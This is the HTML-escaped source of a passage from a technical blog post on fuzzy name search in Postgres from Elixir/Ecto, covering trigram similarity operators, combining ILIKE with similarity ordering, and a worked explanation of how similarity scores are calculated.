&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This query has no hard threshold for similarity, but orders the names by their similarity and only returns the top - in this case - 25 names. It isn&apos;t perfect, but it works without a hard threshold.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#variations-of-similarity&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;variations-of-similarity&quot;&gt;&lt;/a&gt;Variations of &lt;code&gt;similarity&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;If you implement a name search, it is important to know the two siblings of the &lt;code&gt;similarity&lt;/code&gt; operator, the &lt;code&gt;word_similarity&lt;/code&gt; and &lt;code&gt;strict_word_similarity&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;One problem with the &lt;code&gt;similarity&lt;/code&gt; operator is that it compares a search term against the &lt;strong&gt;entire&lt;/strong&gt; string of a name, ignoring any spaces and therefore, word boundaries. For example, let&apos;s say you want to see the profile of a user with a typical Portuguese name, like &lt;code&gt;João Miguel Mello Fernandes Pereira dos Reis&lt;/code&gt;. You probably don&apos;t remember the full name of the person, but only their first name &lt;code&gt;João&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, if you search for &lt;code&gt;João&lt;/code&gt; using the &lt;code&gt;similarity&lt;/code&gt; operator, it will rank the user lower since &lt;code&gt;João&lt;/code&gt; shares very few letters with &lt;code&gt;João Miguel Mello Fernandes Pereira dos Reis&lt;/code&gt;. A user called &lt;code&gt;João Sausa&lt;/code&gt; will have a much higher ranking simply because his name is shorter. The problem is that &lt;code&gt;similarity&lt;/code&gt; depends on the &lt;strong&gt;length&lt;/strong&gt; of a name. The Postgres team recognized this problem and created the &lt;code&gt;word_similarity&lt;/code&gt; and &lt;code&gt;strict_word_similarity&lt;/code&gt; alternatives.&lt;/p&gt;
&lt;p&gt;Both alternatives put more importance on whether a search term is similar to &lt;strong&gt;any&lt;/strong&gt; word in the name. Since the search term, &lt;code&gt;João&lt;/code&gt;, matches perfectly with the first word in the long name &lt;code&gt;João ... Reis&lt;/code&gt;, it will have a similarity of &lt;code&gt;1&lt;/code&gt;. The same holds for the shorter name &lt;code&gt;João Sausa&lt;/code&gt;. So, the similarity doesn&apos;t depend on the length of a name anymore.&lt;/p&gt;
&lt;p&gt;The difference between &lt;code&gt;word_similarity&lt;/code&gt; and &lt;code&gt;strict_word_similarity&lt;/code&gt; is subtle but important. &lt;code&gt;word_similarity&lt;/code&gt; compares your search term with &lt;strong&gt;sub-parts of a word&lt;/strong&gt; whereas &lt;code&gt;strict_word_similiarity&lt;/code&gt; only compares against &lt;strong&gt;whole words&lt;/strong&gt;. So, use &lt;code&gt;word_similarity&lt;/code&gt; if you want to return names even when your search term only matches a part of the name, e.g. &lt;code&gt;Bert&lt;/code&gt; matches &lt;code&gt;Dagobert&lt;/code&gt;. If you want to prioritize full matches, use &lt;code&gt;strict_word_similiarity&lt;/code&gt;, e.g. only &lt;code&gt;Dagobert&lt;/code&gt; matches &lt;code&gt;Dagobert&lt;/code&gt;, but &lt;code&gt;Bert&lt;/code&gt; doesn&apos;t.&lt;/p&gt;
&lt;p&gt;In order to make use of your GIN index, you must also use the short-hand operators &lt;code&gt;&lt;%&lt;/code&gt; for &lt;code&gt;word_similarity&lt;/code&gt; and &lt;code&gt;&lt;&lt;%&lt;/code&gt; for &lt;code&gt;strict_word_similarity&lt;/code&gt; when writing your query.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#combine-ilike-and-similarity&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;combine-ilike-and-similarity&quot;&gt;&lt;/a&gt;Combine ILIKE and Similarity&lt;/h2&gt;
&lt;p&gt;Now that you understand both methods, &lt;code&gt;ILIKE&lt;/code&gt; and &lt;code&gt;similarity&lt;/code&gt;, there&apos;s one combination that you might like best:&lt;/p&gt;
&lt;pre id=&quot;code-block-9&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;ilike_with_similarity&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;ilike_search_term&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;%&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Person&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;ilike&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;ilike_search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;order_by: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:desc&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;? % ?&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This query uses &lt;code&gt;ILIKE&lt;/code&gt; to filter out any non-matching names and then orders the remaining names by their similarity to the search term. It uses the GIN index for all operations and returns the most relevant results on top. Keep in mind that it has the same limitation as &lt;code&gt;ILIKE&lt;/code&gt; which is that it doesn&apos;t return non-matching, but very similar search results like &lt;code&gt;Ana&lt;/code&gt; for the search term &lt;code&gt;Anna&lt;/code&gt;. It is independent of the global similarity threshold since it only sorts the results of the &lt;code&gt;ILIKE&lt;/code&gt; query. If you use the &lt;code&gt;ILIKE&lt;/code&gt; method, you should seriously consider this combination for production use.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#intermediate-wrap-up&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;intermediate-wrap-up&quot;&gt;&lt;/a&gt;Intermediate Wrap-up&lt;/h2&gt;
&lt;p&gt;Now you know how to use the &lt;code&gt;ILIKE&lt;/code&gt; and &lt;code&gt;similarity&lt;/code&gt; operators efficiently to search for names and other short texts in your database. If that is all you want to know, feel free to stop reading at this point. Just make sure to &lt;code&gt;EXPLAIN ANALYZE&lt;/code&gt; your queries and check that they use the index before going to production.&lt;/p&gt;
&lt;p&gt;The remainder of this blog post takes a deep dive into the nitty-gritty details of how Postgres calculates the &lt;code&gt;similarity&lt;/code&gt; score. During our research, we were unable to find a comprehensive explanation of the inner workings of the &lt;code&gt;similarity&lt;/code&gt;, &lt;code&gt;word_similarity&lt;/code&gt;, and &lt;code&gt;strict_word_similarity&lt;/code&gt; operators. So, here it is 😊&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#a-deep-dive-into-similarity&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;a-deep-dive-into-similarity&quot;&gt;&lt;/a&gt;A deep-dive into Similarity&lt;/h2&gt;
&lt;p&gt;To understand the &lt;code&gt;similarity&lt;/code&gt; operator, we first need to understand what &lt;code&gt;Tigrams&lt;/code&gt; are. In short: &lt;code&gt;A trigram is a group of three consecutive characters taken from a string.&lt;/code&gt; So, the Trigrams of the word &lt;code&gt;Bert&lt;/code&gt; would be:&lt;/p&gt;
&lt;pre id=&quot;code-block-10&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;SELECT&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;show_trgm&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;Bert&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&amp;lbrace;&quot;  b&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot; be&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ber&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ert&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;rt &quot;&amp;rbrace;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Trigrams break down each string into a &lt;code&gt;Set&lt;/code&gt; of character groups with 3 letters each. A character group may be padded with spaces if they are at the beginning or end of the string (like &lt;code&gt;&quot;  b&quot;&lt;/code&gt; above). The &lt;code&gt;similarity&lt;/code&gt; operator uses these sets to compare two strings and returns how much they overlap on a scale from 0 to 1. The two sets are more similar if they have many Trigrams in common and less similar if they share fewer Trigrams.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#how-postgres-calculates-similarity&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;how-postgres-calculates-similarity&quot;&gt;&lt;/a&gt;How Postgres calculates &lt;code&gt;similarity&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Let&apos;s break down the three names &lt;code&gt;Bert, Bart, and Berry&lt;/code&gt; into their Trigrams and calculate the similarity of &lt;code&gt;Bert and Bart&lt;/code&gt; and &lt;code&gt;Bert and Berry&lt;/code&gt;. Note that Trigrams ignore the case of letters. Everything is lowercase.&lt;/p&gt;
&lt;p&gt;The following chart shows which Trigrams occur in both names (&lt;code&gt;X&lt;/code&gt;) and which don&apos;t (&lt;code&gt;-&lt;/code&gt;). For example in &lt;code&gt;Bert and Bart&lt;/code&gt;, the first Trigram &lt;code&gt;&quot;  b&quot;&lt;/code&gt; occurs in both names, whereas the second Trigram &lt;code&gt;&quot; ba&quot;&lt;/code&gt; doesn&apos;t.&lt;/p&gt;
&lt;pre id=&quot;code-block-11&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Bert:  &amp;lbrace;&quot;  b&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot; be&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ber&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ert&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;rt &quot;&amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;Bart:  &amp;lbrace;&quot;  b&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot; ba&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;art&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;bar&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;rt &quot;&amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;Match&lt;/span&gt;:    X     &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;     &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;     &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;     X
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;Bert:  &amp;lbrace;&quot;  b&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot; be&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ber&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ert&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;rt &quot;&amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;Berry: &amp;lbrace;&quot;  b&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot; be&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ber&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;err&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;rry&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ry &quot;&amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;Match&lt;/span&gt;:    X     X     X     &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;     &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;     &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Postgres calculates the similarity of these sets using the following &lt;a href=&quot;https://www.alibabacloud.com/blog/similarity-algorithms-effective-similarity-search-in-postgresql_595785&quot;&gt;calculation&lt;/a&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-12&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;similarity &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; number &lt;span style=&quot;color: #ff7b72;&quot;&gt;of&lt;/span&gt; shared trigrams &lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt; number &lt;span style=&quot;color: #ff7b72;&quot;&gt;of&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;distinct&lt;/span&gt; trigrams
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In our comparison of &lt;code&gt;Bert vs Bart&lt;/code&gt;, both &lt;code&gt;Bert&lt;/code&gt; and &lt;code&gt;Bart&lt;/code&gt; have 5 Trigrams and 2 Trigrams in common. We can calculate their similarity with:&lt;/p&gt;
&lt;pre id=&quot;code-block-13&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;similarity &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; 2 &lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;5 &lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt; 5 &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; 2&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; 0&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;25
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In our comparison of &lt;code&gt;Bert vs Berry&lt;/code&gt;, &lt;code&gt;Bert&lt;/code&gt; has 5 Trigrams whereas &lt;code&gt;Berry&lt;/code&gt; has 6. They have 3 Trigrams in common, so their similarity is:&lt;/p&gt;
&lt;pre id=&quot;code-block-14&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;similarity &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; 3 &lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;5 &lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt; 6 &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; 3&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; 0&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;375
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Based on this calculation, &lt;code&gt;Bert&lt;/code&gt; is more similar to &lt;code&gt;Berry&lt;/code&gt; than it is to &lt;code&gt;Bart&lt;/code&gt;. Let&apos;s quickly double-check these results in Postgres:&lt;/p&gt;
&lt;pre id=&quot;code-block-15&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;SELECT&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;similarity&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;Bert&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;Bart&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;similarity&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;Bert&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;Berry&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;similarity | similarity
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;---------- * ----------&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;0&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;25       | 0&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;375
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cool! Our calculations were correct! Now you know exactly how the &lt;code&gt;similarity&lt;/code&gt; operator works (Yey? 😄).&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#how-postgres-calculates-word-similarities&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;how-postgres-calculates-word-similarities&quot;&gt;&lt;/a&gt;How Postgres calculates word similarities&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;word_similarity&lt;/code&gt; and &lt;code&gt;strict_word_similarity&lt;/code&gt; scores are calculated in a different way than &lt;code&gt;similarity&lt;/code&gt;. Postgres uses only parts of the names to calculate the similarity with the search term. So, if we search for &lt;code&gt;João&lt;/code&gt; and our user&apos;s name is &lt;code&gt;João Miguel Mello Fernandes Pereira dos Reis&lt;/code&gt;, Postgres will only use the first name &lt;code&gt;João&lt;/code&gt; to calculate the similarity to the search term since it is the most similar word in the name.&lt;/p&gt;
&lt;p&gt;Let&apos;s have a look the similarity scores when calculating the &lt;code&gt;word&lt;/code&gt; and &lt;code&gt;strict_word&lt;/code&gt; similarity of &lt;code&gt;Bert and Dagobert Duck&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-16&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;SELECT&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;strict_word_similarity&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;Bert&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;Dagobert Duck&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;       &lt;span style=&quot;color: #d2a8ff;&quot;&gt;word_similarity&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;Bert&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;Dagobert Duck&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;strict_word_similarity | word_similarity
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;---------------------- * ----------&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;0&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;28 &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;rounded&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;         | 0&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;6
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
